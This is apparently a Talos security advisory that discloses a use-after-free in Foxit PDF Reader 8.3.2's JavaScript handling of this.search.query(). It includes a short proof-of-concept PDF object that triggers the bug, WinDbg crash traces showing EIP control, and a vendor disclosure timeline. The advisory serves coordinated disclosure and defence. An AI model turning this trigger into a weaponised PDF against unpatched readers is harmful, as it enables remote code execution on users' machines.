Talos Vulnerability Report

TALOS-2017-0506

Foxit PDF Reader Javascript Search Query Remote Code Execution Vulnerability

April 19, 2018
CVE Number

CVE-2017-14458

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s Foxit PDF Reader version 8.3.2.25013. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 8.3.2.25013.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Invoking a method which keeps a stale reference to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.

This particular vulnerability lies in this.search.query() method, which triggers a use-after-free condition when the following code is executed in a regular PDF document:

7 0 obj
<<
>>
stream
  this.closeDoc();
  this.search.query(  );
endstream
endobj

Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:

(498.14fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for FoxitReader_Lib_Full.exe -
eax=00000000 ebx=21152ff8 ecx=107f0de8 edx=00000000 esi=1b630ff8 edi=037def5c
eip=01562a78 esp=037ded5c ebp=037dedb0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
FoxitReader_Lib_Full!CryptUIWizExport+0x5b0c58:
01562a78 8b11            mov     edx,dword ptr [ecx]  ds:002b:107f0de8=????????
0:000> !heap -p -a ecx
    address 107f0de8 found in
    _DPH_HEAP_ROOT @ d4f1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   107414e0:         107f0000             2000
    6bf4ab22 verifier!AVrfDebugPageHeapFree+0x000000c2
    77c158e8 ntdll!RtlDebugFreeHeap+0x0000003c
    77bc5bed ntdll!RtlpFreeHeap+0x0005616d
    77b6fa0d ntdll!RtlFreeHeap+0x000007cd
    0075bd5b FoxitReader_Lib_Full+0x005cbd5b
    002bb657 FoxitReader_Lib_Full+0x0012b657
    002be4d5 FoxitReader_Lib_Full+0x0012e4d5
    0046596c FoxitReader_Lib_Full+0x002d596c
    0046568f FoxitReader_Lib_Full+0x002d568f
    0047d114 FoxitReader_Lib_Full+0x002ed114
    005ca8e6 FoxitReader_Lib_Full+0x0043a8e6
    0045c7ad FoxitReader_Lib_Full+0x002cc7ad
    0045c4bf FoxitReader_Lib_Full+0x002cc4bf
    005c043e FoxitReader_Lib_Full+0x0043043e
    005ba7f6 FoxitReader_Lib_Full+0x0042a7f6
    005be7b7 FoxitReader_Lib_Full+0x0042e7b7
    005be846 FoxitReader_Lib_Full+0x0042e846
    751ee0bb USER32!_InternalCallWinProc+0x0000002b
    751f8849 USER32!InternalCallWinProc+0x00000020
    751fb145 USER32!UserCallWinProcCheckWow+0x000001be
    751e8503 USER32!DispatchClientMessage+0x000001b3
    751e8aa0 USER32!__fnDWORD+0x00000050
    77ba0bad ntdll!KiUserCallbackDispatcher+0x0000004d
    751db95b USER32!SendMessageW+0x0000005b
    00459022 FoxitReader_Lib_Full+0x002c9022
    005c0667 FoxitReader_Lib_Full+0x00430667
    005ba7f6 FoxitReader_Lib_Full+0x0042a7f6
    005be7b7 FoxitReader_Lib_Full+0x0042e7b7
    005be846 FoxitReader_Lib_Full+0x0042e846
    751ee0bb USER32!_InternalCallWinProc+0x0000002b
    751f8849 USER32!InternalCallWinProc+0x00000020
    751fb145 USER32!UserCallWinProcCheckWow+0x000001be

Analyzing the heap state clearly shows that ecx points into a freed memory region. If we examine the next few instructions we can see the following:

0:000> u
FoxitReader_Lib_Full!CryptUIWizExport+0x5b0c58:
01562a78 8b11            mov     edx,dword ptr [ecx]
01562a7a 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]
01562a7d 8b8254020000    mov     eax,dword ptr [edx+254h]
01562a83 ffd0            call    eax

We can observe from the above listing that twice-dereferenced address from ecx, through edx+0x254 ends up in eax which is then used as argument to call instruction. This makes this vulnerability easy to exploit, since we can control the contents of ecx.

With a bit of memory layout control, and with PageHeap off, we can get full EIP control:

(2ac4.25e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for FoxitReader_Lib_Full.exe -
eax=41414141 ebx=0c6d5a60 ecx=0c665a20 edx=0c6b3948 esi=0c6d5950 edi=044ff464
eip=41414141 esp=044ff260 ebp=044ff2b8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
41414141 ??              ???
0:000> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
03aff0fc 01562a85 0x41414141
03aff158 01668d7f FoxitReader_Lib_Full!CryptUIWizExport+0x5b0c65
03aff200 01668632 FoxitReader_Lib_Full!CryptUIWizExport+0x6b6f5f
03aff2b4 005a1a57 FoxitReader_Lib_Full!CryptUIWizExport+0x6b6812
03aff2ec 01425a6e FoxitReader_Lib_Full+0x411a57
03aff320 0141d876 FoxitReader_Lib_Full!CryptUIWizExport+0x473c4e
03aff388 0141fc23 FoxitReader_Lib_Full!CryptUIWizExport+0x46ba56
03aff398 1640a0d6 FoxitReader_Lib_Full!CryptUIWizExport+0x46de03
03aff3b8 16444b63 0x1640a0d6

Closing the document via JavaScript frees objects, but JavaScript continues to execute, and some stale references can cause a use after free, which is what happens in this case. Since the memory pointed at by ecx is freed, a careful heap manipulation can put it under attacker control, indirectly giving the control over eax, leading to arbitrary code execution.

Timeline

2017-12-12 - Vendor Disclosure
2017-12-12 - Discussion with vendor on issues
2018-01-29 - Vendor advised issue fixed in code scheduled for next release early April
2018-04-01 - Vendor pushed release to mid April
2018-04-19 - Vendor patch released
2018-04-19 - Public disclosure

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.